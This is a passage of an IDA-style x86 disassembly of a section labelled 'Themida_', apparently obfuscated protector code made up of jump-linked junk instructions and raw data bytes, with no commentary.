		dd 392AD0BBh, 1CEB8122h, 89EB5EF6h, 25B2E9DFh, 0EB810000h
		dd 4, 5C241C87h, 68243489h, 3636h, 83242489h, 0FF042404h
		dd 0E95E2434h, 0FFFF9339h
; ---------------------------------------------------------------------------


loc_53E454:				; CODE XREF: Themida_:0053C200j
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_53A2B8
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 60A66B11h
		not	ebx
		add	ebx, 1
		add	ebx, 0FFFFFFFFh
		push	ecx
		mov	ecx, 5AA830DBh
		or	ecx, 456F5036h
		inc	ecx
		xor	ecx, 0C0B6E5EAh
		jmp	loc_53CFE3
; ---------------------------------------------------------------------------


loc_53E49B:				; CODE XREF: Themida_:0053D0B0j
		sub	eax, ebx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, edi
		push	dword ptr [eax]
		pop	ecx
		mov	eax, [esp]
		jmp	loc_541FA5
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 4
		dd 87000000h, 0D8E9243Ch, 0FFFFFFEAh, 89518734h, 4C181E1h
		dd 52000000h, 4BAh, 8BD12900h, 0C4812414h, 4, 0FFB501E9h
		dd 0E9D028FFh, 0FFFFD6B2h
; ---------------------------------------------------------------------------


loc_53E4E8:				; CODE XREF: Themida_:0053910Dj
		shr	eax, 18h
		jmp	loc_5378A1
; ---------------------------------------------------------------------------


loc_53E4F0:				; CODE XREF: Themida_:0053805Cj
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_53B152
; ---------------------------------------------------------------------------
aZS		db ')ÓZ)Ãé¿/',0
		align 2
		dw 0B850h
		dd 7D6658A3h, 6658A735h, 58C5017Dh, 0DDBD5556h,	0C137345Dh
		dd 52E907E5h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53E52B:				; CODE XREF: Themida_:00537CDDj
		add	ecx, 6789101Dh
		jmp	loc_5411CC
; ---------------------------------------------------------------------------


loc_53E536:				; CODE XREF: Themida_:00536CF4j
		mov	edi, edx
		pop	edx
		push	ebp
		jmp	loc_538878
; ---------------------------------------------------------------------------
		db 80h
		dd 0E80089C5h
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_53AE14
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 37h
		dd 587E545h, 1EF83518h,	57E9F029h, 2D000033h, 0ABC94A4Ah
		dd 8158C301h, 337640EBh, 0ECB0E942h, 0C580FFFFh, 0C1B252FFh
		dd 805AD508h, 0C580B4F5h, 64C36887h, 1C890000h,	3090B724h
		dd 0EE285BFDh, 28A60459h, 8D53E9F0h, 0C381FFFFh, 4, 4EC8350h
		dd 0FFC5E7E9h, 2BBFFh, 0DD010000h, 242C875Bh, 6BC2685Ch
		dd 0C890000h, 50BF6824h, 4890000h, 0E9D48824h, 1142h, 83240C8Bh
		dd 814104C4h, 1AF16FC1h, 0E7C681E9h, 162AE50h, 0E7EE81CEh
		dd 8B62AE50h, 0C481240Ch, 4, 499BBB53h,	0EB816ABAh, 6ABA4997h
		dd 335BDE01h, 34312434h, 24343324h, 8124248Bh, 4ECh, 0BC64E900h
		dd 15AFFFFh, 58088BF8h,	8904EC83h, 4E68243Ch, 89000073h
		dd 0C2E9242Ch, 53FFFF98h, 0B2CFB3BBh, 5BD929B8h, 4582C781h
		dd 54E90506h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53E643:				; CODE XREF: Themida_:0053E1DFj
		push	ebp
		mov	ebp, 126373ABh
		shl	ebp, 1
		neg	ebp
		add	ebp, 87EB4807h
		jmp	loc_539422
; ---------------------------------------------------------------------------
		dd 0E9C4C180h, 0FFFFB0AEh, 240C8B66h, 6CE468h, 241C8900h
		dd 0C3815B54h, 4, 3DC568h, 24148900h, 2BAh, 55BE5600h
		dd 5372916Eh, 1300B6BBh, 93E38163h, 8145DF4Fh, 0CF7EF2F3h
		dd 0B2CB810Eh, 813E0F75h, 0D9047FCBh, 0EAD6E950h, 48FFFFFh
		dd 24248B24h, 0BB53h, 0DAE90000h, 30FFFF74h, 0E9C058E1h
		dd 0CAC18008h, 33E9172Ch, 81FFFFA0h, 0F5909CF1h, 59CF31DFh
		dd 0E95FF829h, 0FFFF73E5h, 8324048Bh, 0C48304C4h, 73D7E904h
		dd 0C481FFFFh, 4, 0E9243C8Bh, 2F93h, 240C895Ch,	240C8B54h
		dd 0FFBFC9E9h, 2D45BAFFh, 0C681004Ah, 1F323047h, 72E9D629h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53E717:				; CODE XREF: Themida_:0053969Cj
		shr	edx, 4
		or	edx, 452650CCh
		push	ebp
		mov	ebp, 0C53164h
		sub	edx, ebp
		pop	ebp
		add	ecx, edx
		jmp	loc_53BFC5
; ---------------------------------------------------------------------------
		dd 565EF329h, 0C4712CBEh, 41F68170h, 81656E20h,	0DE0DB3CEh
		dd 0BA524E61h, 3EF58B4Bh, 0DDE9D601h, 66FFFFBAh, 66241C87h
		dd 81243C8Bh, 2C4h, 66576600h, 22474FFh, 243C8B66h, 0E904EC83h
		dd 361Dh, 78AEE950h, 0DA01FFFFh, 96E3E95Bh, 0FB01FFFFh
		dd 241C875Fh, 0FF24248Bh, 0E99C240Ch, 0FFFF732Dh, 4305F029h
		dd 0E902F00Fh, 2CCAh, 0BB53D001h, 1AA80950h, 8B5BD829h
		dd 89562414h, 0BFBBE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53E7B6:				; CODE XREF: Themida_:00538F53j
		pop	esi
		jmp	loc_5370C5
; ---------------------------------------------------------------------------
		dd 0A054F05h, 68C32528h, 0DE90E0Ah, 80FFFF7Eh, 0C6803CF6h
		dd 9A6BE97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53E7D6:				; CODE XREF: Themida_:0053C4FDj
		shl	edi, 2
		jmp	loc_53D1F6
; ---------------------------------------------------------------------------


loc_53E7DE:				; CODE XREF: Themida_:0054094Dj
		pop	ebx
		neg	edi
		shr	edi, 8
		push	5E5Ch
		mov	[esp], ebp
		jmp	loc_538D22
; ---------------------------------------------------------------------------


loc_53E7F1:				; CODE XREF: Themida_:00541B23j
		sub	edi, eax
		pop	eax
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 10h
		jmp	loc_539634
; ---------------------------------------------------------------------------
		dd 8B242C87h, 34FF2424h, 2434FF24h, 8124048Bh, 4C4h, 4C48100h
		dd 57000000h, 0C781E789h, 4, 0E62CE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53E82E:				; CODE XREF: Themida_:0053F45Dj
		pop	esp
		mov	[esp], bx
		mov	bl, 0D4h
		jmp	loc_53601D
; ---------------------------------------------------------------------------
		dw 0B4B0h
		dd 0C8FED72Ch, 0FFC331E9h, 240C8BFFh, 4C481h, 0A9E90000h
		dd 81FFFFBCh, 4ECh, 24248900h, 171FE9h,	55D9F700h, 0ECBA54BDh
		dd 5DE929A5h, 0C8B5D51h, 4C48324h, 875DEB01h, 248B241Ch
		dd 148B6624h, 24FEE924h, 4F2D0000h, 563A043Ch, 2F00B1BEh
		dd 14F75672h, 0E6C15E24h, 7EEC108h, 7837E681h, 0D6F74DB6h
		dd 0E9A5C681h, 0F0013EA4h, 0FFE5BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53E8B1:				; CODE XREF: Themida_:005423BEj
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_541CFA
; ---------------------------------------------------------------------------
		dd 1118E959h, 0EB800000h, 4EC83E2h, 0B6241489h,	15E68095h
		dd 5009F680h, 2EC81h, 89660000h, 8EB62414h, 5A66F088h
		dd 0C058C630h, 0C68005EEh, 0F1EE8001h, 2C3BE9h
		db 0
; ---------------------------------------------------------------------------


loc_53E8F5:				; CODE XREF: Themida_:00541754j
		add	esp, 4
		push	73B4h
		mov	[esp], esi
		jmp	loc_537EE9
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C241CD3h, 0FF71ACE9h, 0E0EB81FFh, 81D2E161h
		dd 9102E7EDh, 81DD2921h, 9102E7C5h, 241C8B21h, 4C481h
		dd 0EDC10000h, 0FFED8304h, 93E4F581h, 762D1FCCh, 2979A97Eh
		dd 7E7605E8h, 8B5D79A9h, 0DE92434h, 0BBFFFF91h,	4F832150h
		dd 0CFE9D3F7h, 0FFFFE6h, 664804D8h, 72D1E951h, 0C180FFFFh
		dd 59CA28A2h, 0C2FED2F6h, 0E955C280h, 1E88h, 0C87D1F7h
		dd 24148B24h, 4C481h, 0F2810000h, 8CCE9B46h, 0FFE255E9h
		dd 240C8BFFh, 81E18951h, 4C1h, 4C18100h, 87000000h, 815C240Ch
		dd 923E3FEEh, 6E6C156h,	0F681EED1h, 48426C4Bh, 9D09EE81h
		dd 0F2894C21h, 0EEFE95Eh, 0B8500000h, 2, 8758C501h, 248B242Ch
		dd 0D3CEE924h, 0C581FFFFh, 3AC03663h, 0FFBD6FE9h, 30E981FFh
		dd 0E920F628h, 0FFFFD300h
; ---------------------------------------------------------------------------


loc_53E9F4:				; CODE XREF: Themida_:00539600j
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_540665
; ---------------------------------------------------------------------------
		dw 3059h
		dd 0F83058C7h, 0FF9CD2E9h, 4BF57FFh, 0E9000000h, 1380h
; ---------------------------------------------------------------------------


loc_53EA18:				; CODE XREF: Themida_:0053BB44j
		mov	esi, 200000h
		and	eax, esi
		mov	esi, [esp]
		push	ebp
		jmp	loc_541045
; ---------------------------------------------------------------------------


loc_53EA28:				; CODE XREF: Themida_:00535C66j
		mov	edi, ebx
		push	edi
		jmp	loc_53FF23
; ---------------------------------------------------------------------------
		dd 2C0DD0F7h, 35148325h, 7CBFF7FCh, 48BC301h, 0EC835724h
		dd 7634E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53EA4A:				; CODE XREF: Themida_:0053CC74j
		push	ebx
		mov	ebx, 0D4C3508h
		shl	ebx, 8
		push	ebp
		mov	ebp, 54DB1EF9h
		sub	ebp, 75928FBh
		shl	ebp, 7
		add	ebp, 141600E7h
		neg	ebp
		shl	ebp, 3
		xor	ebp, 5D591D41h
		xor	ebx, ebp
		pop	ebp
		not	ebx
		push	esi
		mov	esi, 40C85F10h
		dec	esi
		or	esi, 23A3148Dh
		sub	esi, 29EEFB7Dh
		sub	ebx, 78D606CCh
		add	ebx, esi
		jmp	loc_539EA5
; ---------------------------------------------------------------------------
		dd 3FBEA81h, 0C2812303h, 9BCAE06h, 0E95AD101h, 0FFFFEE85h
; ---------------------------------------------------------------------------


loc_53EAAC:				; CODE XREF: Themida_:00541146j
		add	ebp, 3D456ACh
		xor	edi, ebp
		jmp	loc_538FA8
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C5h
		dd 4, 4BE56h, 0ED810000h, 245F3564h, 0FF886CE9h, 24048BFFh
		dd 2A3BE9h
		db 0
; ---------------------------------------------------------------------------


loc_53EAD9:				; CODE XREF: Themida_:00541EBDj
		mov	eax, 5110160Fh
		sub	eax, 76057C6Ch
		push	ebx
		mov	ebx, 520D1D89h
		add	eax, 744C349Dh
		jmp	loc_53CC53
; ---------------------------------------------------------------------------
		db 81h
		dd 0E364DBC3h, 24148B18h, 0FF7733E9h, 0F3E951FFh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53EB07:				; CODE XREF: Themida_:0053E08Cj
		add	esp, 4
		jmp	loc_53E3C5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5B042474h, 5C24048Fh, 68241C89h, 3E8Ch, 83240489h, 148904ECh
		dd 4EC8124h, 89000000h,	1CE9241Ch, 68FFFFFEh, 0AC4h, 83243C89h
		dd 248904ECh, 24048324h, 7E34E904h, 248BFFFFh, 24148924h
		dd 66E99C50h, 68FFFF6Fh, 3AAh, 0FFF7DEE9h, 0B181B3FFh
		dd 0FFD9302Dh, 515B2434h, 0C181E189h, 4, 4C181h, 0C870000h
		dd 0C9805C24h, 0BFB450FEh, 0FF8257E9h, 4C481FFh, 87000000h
		dd 248B241Ch, 0B60F6624h, 9446E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53EBA2:				; CODE XREF: Themida_:005415A5j
		add	ah, bl
		jmp	loc_53C2BC
; ---------------------------------------------------------------------------


loc_53EBA9:				; CODE XREF: Themida_:00540660j
		mov	esp, [esp]
		push	ebx
		push	ecx
		push	42BD0DB4h
		pop	ecx
		jmp	loc_539268
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24042966h, 6EFBE99Ch, 481FFFFh, 424h, 242C8B00h, 0FF9245E9h
		dd 28C680FFh, 0FF7080E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53EBDD:				; CODE XREF: Themida_:0053CC5Bj
		push	ebx
		mov	ebx, 662852A2h
		neg	ebx
		shr	ebx, 4
		shl	ebx, 7
		add	ebx, 0D841702h
		and	ebx, 9005E86h
		xor	ebx, 49D819B7h
		jmp	loc_53BE1B
; ---------------------------------------------------------------------------


loc_53EC02:				; CODE XREF: Themida_:00540BC7j
		mov	edi, 45C478A3h
		mov	ebx, 8EC9CCAh
		add	ebx, edi
		jmp	loc_53858F
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 0DFE9EB01h, 81FFFF9Fh, 0D2F448F5h, 5DEE29F1h, 2474FF56h
		dd 48F5E04h, 34895C24h,	3EB85024h, 0C17C693Bh, 0E0C107E0h
		dd 7C023502h, 65E9D276h, 66FFFF99h, 0E95EE8B9h,	31F8h
		dd 81E38953h, 4C3h, 41BF5700h, 0D14EC022h, 0C847E9EFh
		dd 2C89FFFFh, 4BD24h, 0EF010000h, 64E9505Dh, 5DFFFF9Ch
		dd 4EC81h, 0C890000h, 0ACBA5224h, 895A9F19h, 0CB295AD1h
		dd 83240C8Bh, 0C38104C4h, 18450672h, 0FF8B32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53ECA1:				; CODE XREF: Themida_:0053A11Cj
		sub	eax, 5E49549Dh
		sub	eax, 3B2C3E70h
		neg	eax
		xor	eax, 0FACD5A0Eh
		sub	ecx, eax
		jmp	loc_5388E9
; ---------------------------------------------------------------------------
		db 28h,	0E8h, 0E9h
		dd 0FFFF7179h, 0FEC5814Dh, 21B73305h, 31D9E9EEh, 4290000h
		dd 0EAE99C24h, 4BFFFF6Dh, 0F381D3F7h, 0BB3BFDD2h, 4B7DB850h
		dd 0C1487B12h, 16E907E8h, 0BAFFFF9Ah, 0FA4DB669h, 158C201h
		dd 4335AD0h, 24043124h,	0E9240433h, 0FFFFA66Bh,	0EC83E789h
		dd 24148904h, 466E6850h, 4858469Ch, 4D89BB53h, 0D8312F88h
		dd 0FFD705E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53ED25:				; CODE XREF: Themida_:0053A541j
		mov	eax, [esp]
		push	4B9Ah
		jmp	loc_53B1F8
; ---------------------------------------------------------------------------


loc_53ED32:				; CODE XREF: Themida_:0053D81Fj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_53AABE
; ---------------------------------------------------------------------------
		db 89h
		dd 0F4E95AD0h, 0B9FFFF91h, 6334F60Eh, 559CB01h,	3E213342h
		dd 0EB264005h, 0BCE1E930h, 15FFFFFh, 2434FFE8h,	4C4835Dh
		dd 6802E883h, 7Ch, 0FF240489h, 58042474h, 8B24048Fh, 89662424h
		dd 50662414h, 6D2BE99Ch, 875EFFFFh, 0F5C242Ch, 37E9C8B7h
		dd 80FFFFE5h, 0F5302FEEh, 951EE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53EDAE:				; CODE XREF: Themida_:00540A72j
		pop	esi
		jmp	loc_540D31
; ---------------------------------------------------------------------------


loc_53EDB4:				; CODE XREF: Themida_:0053B9F9j
		xor	ebp, 7288BEDFh
		jmp	loc_539881
; ---------------------------------------------------------------------------
		db 59h
		dd offset dword_510448+220h
		dd 24348900h, 7D4AE955h, 835EFFFFh, 0EA8104C4h,	59C741CDh
		dd 0FFC6C9E9h, 5A5452FFh, 611B850h, 0E8D14F1Fh,	0FFF5AFE9h
		dd 0E9DD89FFh, 0FFFFAEE6h, 194A06B9h, 59CA212Ah, 7EE9D2F7h
		dd 5F00000Ah, 0FFFBC1E9h, 243C31FFh, 0E9243C33h, 0FFFF6FC5h
		dd 24048B66h, 4EC81h, 1C890000h, 52E38924h, 551D73BAh
		dd 0C2834A6Ah, 8E2C1FFh, 814AE2D1h, 3AE1FBEAh, 0C9C381AAh
		dd 136B269h, 0C9EB81D3h, 8B36B269h, 0C4832414h,	2BE5604h
		dd 1000000h, 88E95EF3h,	0F7FFFF71h, 1FD8E9D6h, 0DD890000h
		dd 52EB95Bh, 80E90A5Ah
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53EE6F:				; CODE XREF: Themida_:0053985Aj
		mov	[esp], edx
		push	ecx
		mov	ecx, 7E395DA2h
		mov	edx, ecx
		pop	ecx
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		xor	dword ptr [esp], 1D6F3AA9h
		jmp	loc_5363CA
; ---------------------------------------------------------------------------
		dd 0FF6C2CE9h, 7935BDFFh, 0ADE900C4h, 0E900001Eh, 0FFFF6C1Dh
		dd 83243C8Bh, 48F04C4h,	24248B24h, 0B8240489h, 7A27520h
		dd 4805E0C1h, 0FFE5BAE9h, 67E95BFFh, 89FFFFC7h,	69B02404h
		dd 0FE58C588h, 0F6C5FEC5h, 815366DDh, 4ECh, 24048900h
		dd 0C4FE03B4h, 51C6EC80h, 0CB88E188h, 24048B59h, 0FFF114E9h
		dd 81E289FFh, 4C2h, 790AE900h, 0C281FFFFh, 54602C84h, 4D5E9h
		dd 0FF555700h, 8B042474h, 0F9E9242Ch, 81FFFFBFh, 9F15F8EFh
		dd 0B5CF8161h, 8111EA0Dh, 111853F7h, 17E95327h,	33FFFFB0h
		dd 248B240Ch, 24040124h, 6B7FE99Ch, 0C181FFFFh,	4, 3304C183h
		dd 0C31240Ch, 0EC5BE924h, 5255FFFFh, 8151E8BAh,	0E9D58977h
		dd 0FFFFED9Bh, 0CCBD55ADh, 53673429h, 0B33B4BBBh, 0EECB8113h
		dd 4300792Dh, 0AAF3814Bh, 11DD928h, 0B9515BDDh,	399572AFh
		dd 477EC181h, 0D9F758D0h, 7B3CC181h, 81497B98h,	3B8678E9h
		dd 0CE3BE9E5h, 0F74AFFFFh, 2A80E9DAh, 0EC830000h, 24348904h
		dd 0E9575E54h, 0FFFFDF60h, 4C481h, 0B60F0000h, 23D0E9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53EFC6:				; CODE XREF: Themida_:0053C28Cj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_537243
; ---------------------------------------------------------------------------
		dw 39B9h
		dd 2D6ED23Ah, 5AFA7B6Dh, 6D05C801h, 595AFA7Bh, 0FF8BB7E9h
		dd 0B25259FFh, 8950E936h, 815FFFFFh, 4C4h, 5DEA2900h, 1298EA81h
		dd 0C2294C9Fh, 1298C281h, 0BF574C9Fh, 3EE275C4h, 13DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_53F029:				; CODE XREF: Themida_:0053D7E2j
		mov	eax, [esp]
		jmp	loc_5363A1
; ---------------------------------------------------------------------------


loc_53F031:				; CODE XREF: Themida_:0053C581j
		mov	[esp], ecx
		jmp	loc_53AE25
; ---------------------------------------------------------------------------
		db 29h,	0FEh, 0E9h
		dd 0FFFFC059h
; ---------------------------------------------------------------------------


loc_53F040:				; CODE XREF: Themida_:0053C379j
		add	esi, 2EB96AADh
		add	esi, 7AD84F42h
		add	esi, eax
		sub	esi, 7AD84F42h
		jmp	loc_53BD52
; ---------------------------------------------------------------------------


loc_53F059:				; CODE XREF: Themida_:0053F57Aj
		pop	esp
		jmp	loc_538C04
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF0h, 5604C483h, 9422E8BEh, 5EF00131h, 4C03B850h
		dd 0D8F719E0h, 0FFDF47E9h, 2414F7FFh, 0E953565Bh, 0FFFF7760h
		dd 3166AD66h, 4EC83D8h,	66241C89h, 664290BBh, 56BA6652h
		dd 0D321666Bh, 0C1665A66h, 5BE907EBh, 59000009h, 0FF7657E9h
		dd 241C8BFFh, 6804C483h, 1577h,	55240C89h, 8904EC83h, 57BF243Ch
		dd 81004F76h, 8011BEC7h, 67F7817Dh, 0F75E7030h,	0B0D1E9D7h
		dd 5655FFFFh, 11275ABEh, 5E5D5678h, 0FFB265E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53F0ED:				; CODE XREF: Themida_:0053AE95j
		sub	esp, 4
		jmp	loc_53B6D8
; ---------------------------------------------------------------------------


loc_53F0F5:				; CODE XREF: Themida_:0053A2C8j
		mov	[esp], edx
		push	66B7h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_537140
; ---------------------------------------------------------------------------


loc_53F10D:				; CODE XREF: Themida_:00537CE8j
		mov	edx, ebp
		jmp	loc_537A21
; ---------------------------------------------------------------------------
		dd 0AB6859h, 2C890000h,	2474FF24h, 865BE904h, 0BA52FFFFh
		dd 2, 71AED81h,	0D5014866h, 71AC581h, 335A4866h, 3E9242Ch
		dd 87FFFFB5h, 87D2F7D3h, 41C381D3h, 89775C88h, 0D8315BD8h
		dd 2DD0F75Bh, 848FC1D9h, 48BC289h, 752AE924h, 0CD80FFFFh
		dd 4E5C06Fh, 0E9B2B753h, 0FFFFD9ECh
; ---------------------------------------------------------------------------


loc_53F174:				; CODE XREF: Themida_:005378DBj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		push	19ED304Eh
		pop	edx
		sub	edx, 9E190DE3h
		push	ebp
		mov	ebp, edx
		mov	ebx, ebp
		jmp	loc_53B9D7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815B2434h, 4C4h, 0F3F0E900h,	2C89FFFFh, 0E6895624h
		dd 15D0BB53h, 0E9E902A9h, 83FFFFCCh, 148904ECh,	0B0C3E924h
		dd 535CFFFFh, 0E956E389h, 0FFFFCDBBh
; ---------------------------------------------------------------------------


loc_53F1D0:				; CODE XREF: Themida_:0053E38Cj
		mov	[esp], ebx
		push	ebx
		jmp	loc_53E069
; ---------------------------------------------------------------------------
		db 0B8h, 64h, 69h
		dd 6E353667h, 403C4F7Bh, 2812072Dh, 58C7290Ah, 0E9243C33h
		dd 0FFFFFC15h, 8124048Bh, 4C4h,	243C8700h, 0B30F665Ch
		dd 0E99C2404h, 0FFFF68B5h, 237FED68h, 0E2815A1Dh, 7825568Bh
		dd 0C1EAD14Ah, 0E28105E2h, 5972F0Dh, 6D8E951h, 51AC0000h
		dd 285A68h, 241C8900h, 86E9DFB3h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F23B:				; CODE XREF: Themida_:0053A865j
		add	edx, 4
		jmp	loc_53C848
; ---------------------------------------------------------------------------
		dw 0BE68h
		dd 89000068h, 73E92424h, 66FFFFF9h, 0E9240C89h,	0FFFF6865h
; ---------------------------------------------------------------------------


loc_53F25C:				; CODE XREF: Themida_:0053B351j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		push	eax
		jmp	loc_541C5F
; ---------------------------------------------------------------------------


loc_53F27E:				; CODE XREF: Themida_:00536B67j
		mov	ebx, 0
		add	ebx, eax
		add	dword ptr [ebx], 1
		jmp	loc_53928E
; ---------------------------------------------------------------------------
		dd 36CE954h, 0BB530000h, 529D1171h, 0C102EBC1h,	0CB8108EBh
		dd 8A13316h, 6BB5E381h,	0C38156DAh, 3BAE6936h, 70E9DF01h
		dd 5600001Ah, 43E9E689h, 5AFFFFF0h, 8B24048Fh, 92E92424h
		dd 50000026h, 0F4060B68h, 0A6FAE94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F2DA:				; CODE XREF: Themida_:0053D8D2j
		sub	esi, 72F073F0h
		add	esi, 69514E1Ch
		jmp	loc_53AA5F
; ---------------------------------------------------------------------------
		db 89h
		dd 0E3C15FFBh, 49F38103h, 43362D2Ch, 666AF381h,	0E38124E8h
		dd 405F38E4h, 0FFBF49E9h, 3FF281FFh, 81C28182h,	6013FEEAh
		dd 0E9C20172h, 0FFFFD9D2h, 332A44BAh, 0C0C28136h, 1C9CCD5h
		dd 0E9835AD1h, 6A65E904h, 0EE80FFFFh, 0EC8158CDh, 4, 0B5240C89h
		dd 8EDC04Fh, 0FE04E5C0h, 720CE9C5h, 0C381FFFFh,	3CBD4812h
		dd 0EB81C301h, 3CBD4812h, 0C3015A58h, 672EB81h,	0EB815E49h
		dd 6A2E00B7h, 0B28BE955h, 1489FFFFh, 215EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53F37A:				; CODE XREF: Themida_:0054097Bj
		shr	edi, 1
		push	esi
		mov	esi, 0DD904E9Fh
		sub	edi, esi
		pop	esi
		mov	ebp, edi
		pop	edi
		xor	edx, ebp
		jmp	loc_536AD1
; ---------------------------------------------------------------------------


loc_53F38F:				; CODE XREF: Themida_:0053C573j
		jz	loc_539941
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 4C62476Ah
		add	dword ptr [esp+4], 537F6338h
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 537F6338h
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		push	edx
		jmp	loc_5398D6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0BB535104h, 14F736FCh, 815BD989h, 6A1651E9h
		dd 2E1C119h, 0FFD0C9E9h, 66DFE9FFh, 815BFFFFh, 4C2h, 24143300h
		dd 33241431h, 0E95C2414h, 0FFFF66C9h, 8146D6F7h, 0B4E189C6h
		dd 0FC59E95Ch, 0B9B3FFFFh, 27E9EB28h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F40F:				; CODE XREF: Themida_:005379E6j
		mov	[esp], eax
		push	1
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_53D7E1
		push	26Eh
		mov	[esp], ebx
		xor	dword ptr [esp], 19055407h
		push	dword ptr [esp]
		jmp	loc_53F802
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6AE92424h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F457:				; CODE XREF: Themida_:0053B516j
		sub	edi, 2
		xchg	edi, [esp]
		jmp	loc_53E82E
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 6C97E95Bh, 0C281FFFFh, 1A74521Bh, 5D5AD329h,	0FFE639E9h
		dd 0CFE95CFFh, 66FFFF94h, 3AE99C50h, 87FFFF66h,	248B2414h
		dd 8BF28924h, 0C4812434h, 4, 0B951FA01h, 0
		dd 0FFA203E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53F4A5:				; CODE XREF: Themida_:00539DBFj
		push	ebx
		jmp	loc_53F4D0
; ---------------------------------------------------------------------------


loc_53F4AB:				; CODE XREF: Themida_:00536A17j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5408EB
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF86B5h, 31240C33h, 6CE9240Ch
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F4C7:				; CODE XREF: Themida_:00536D59j
		or	edx, eax
		shl	edx, 1
		jmp	loc_53AC89
; ---------------------------------------------------------------------------


loc_53F4D0:				; CODE XREF: Themida_:0053F4A6j
		pop	ecx
		pop	ebx
		pop	ebx
		shl	ecx, 2
		neg	ecx
		push	edi
		push	esi
		jmp	loc_54025F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 2BD5500h, 0E9000000h, 0C3Ah, 7FD968h, 95C3E900h
		dd 0EC83FFFFh, 242C8904h, 7C45BF57h, 0FD896112h, 0BD96E95Fh
		dd 0F388FFFFh, 0D830585Ah, 241C8B66h, 0FF6F35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53F51D:				; CODE XREF: Themida_:00538FDDj
		pop	edx
		push	eax
		mov	eax, 64671B1Dh
		sub	[esp+8], eax
		pop	eax
		sub	dword ptr [esp+4], 6F7770FEh
		sub	[esp+4], edx
		jmp	loc_539613
; ---------------------------------------------------------------------------


loc_53F53A:				; CODE XREF: Themida_:0053D2B9j
		sub	al, 0F3h
		add	al, bl
		add	al, 0F3h
		pop	bx
		push	edi
		jmp	loc_540D9E
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832414h, 0E9545204h, 0FFFFC5C9h, 240C8B66h
		dd 4EC81h, 64E90000h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F567:				; CODE XREF: Themida_:0053966Aj
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_53F059
; ---------------------------------------------------------------------------
		db 8Bh
